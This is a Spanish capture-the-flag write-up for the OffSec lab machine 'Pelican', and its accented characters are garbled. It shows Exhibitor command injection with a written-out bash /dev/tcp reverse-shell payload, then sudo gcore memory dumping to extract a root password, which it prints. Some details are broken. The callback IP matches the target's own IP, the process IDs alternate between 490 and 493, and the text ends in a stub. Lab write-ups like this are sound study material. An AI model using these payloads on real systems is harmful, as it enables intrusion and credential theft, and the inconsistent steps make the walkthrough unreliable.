Skip to content

Writeup: M谩quina Pelican

1. Reconocimiento (Enumeraci贸n)

Comenzamos realizando un escaneo de puertos completo para identificar los servicios expuestos en la m谩quina v铆ctima.

Escaneo con Nmap

Utilizamos nmap para escanear todos los puertos TCP (-p-) y ejecutar scripts de enumeraci贸n b谩sicos junto con la detecci贸n de versiones.

sudo nmap -sC -p- pelican.offsec

Resultados del escaneo: * Puerto 22 & 2222 (SSH): Servicio de acceso remoto. * Puerto 139 & 445 (SMB): Samba corriendo en una versi贸n Debian. * Puerto 631 (IPP): Servicio de impresi贸n CUPS. * Puerto 2181 (Zookeeper): Servicio de coordinaci贸n. * Puerto 8080 (HTTP): Servidor web ejecutando "Exhibitor for ZooKeeper". * Puerto 8081 (Blackice-icecap): API REST de Zookeeper.

An谩lisis: El puerto 8080 es el vector m谩s probable, ya que Exhibitor es una interfaz de gesti贸n que a menudo tiene configuraciones inseguras y vulnerabilidades de inyecci贸n conocidas.


2. Explotaci贸n (Initial Foothold)

Investigando el servicio en el puerto 8080, encontramos una vulnerabilidad de Command Injection (RCE).

Vulnerabilidad: Exhibitor RCE

La interfaz permite configurar el entorno de Java (java.env) sin autenticaci贸n. Podemos inyectar comandos de sistema que se ejecutar谩n al recargar la configuraci贸n.

Pasos para la explotaci贸n: 1. Accedemos a http://192.168.111.98:8080/exhibitor/v1/ui/index.html. 2. Vamos a la pesta帽a Config -> java.env script. 3. Preparamos un listener local en nuestra m谩quina atacante:

rlwrap nc -nlvp 9001
4. Inyectamos el payload en el campo java.env. * Nota: Es cr铆tico usar bash -c o bash -i expl铆citamente porque la shell por defecto (sh) en Debian es dash y no soporta redirecciones TCP.

**Payload:**
```bash
$(bash -i >& /dev/tcp/192.168.111.98/9001 0>&1)
```
  1. Hacemos clic en Commit para guardar y ejecutar.

Resultado: Recibimos una conexi贸n inversa (Reverse Shell) como el usuario charles.


3. Enumeraci贸n Post-Explotaci贸n

Ya dentro del sistema, buscamos vectores para escalar privilegios.

Permisos Sudo

Comprobamos los permisos de sudo del usuario actual:

sudo -l

Salida:

User charles may run the following commands on pelican:
    (ALL) NOPASSWD: /usr/bin/gcore

Hallazgo Cr铆tico: Tenemos permiso para ejecutar /usr/bin/gcore como root sin contrase帽a. Esta herramienta genera volcados de memoria (core dumps) de procesos en ejecuci贸n.

Identificaci贸n de Objetivos

Buscamos procesos ejecutados por root que puedan contener credenciales en memoria (como gestores de contrase帽as, servicios de autenticaci贸n, etc.).

ps aux | grep root
Identificamos un proceso interesante (en este caso, un gestor de contrase帽as o servicio similar) con el PID 490.


4. Escalada de Privilegios (PrivEsc)

Usaremos gcore para leer la memoria del proceso root y extraer credenciales en texto plano.

1. Generar el Core Dump:

sudo /usr/bin/gcore 493
Esto guarda el archivo core.490 en nuestro directorio actual.

2. Extraer informaci贸n: Usamos strings para leer el archivo binario y filtrar por contenido legible:

strings core.490 | grep -i pass -C 5
# O simplemente leemos todo
strings core.490
Encontramos la cadena sospechosa: ClogKingpinInning731.

3. Acceso Root: Usamos la contrase帽a encontrada para escalar a root.

su root
# Password: ClogKingpinInning731
Verificamos identidad:
whoami
# root


5. Loot (Banderas)

Buscamos en los directorios del usuario y root para encontrar las banderas correspondientes a cada usuario.

Hola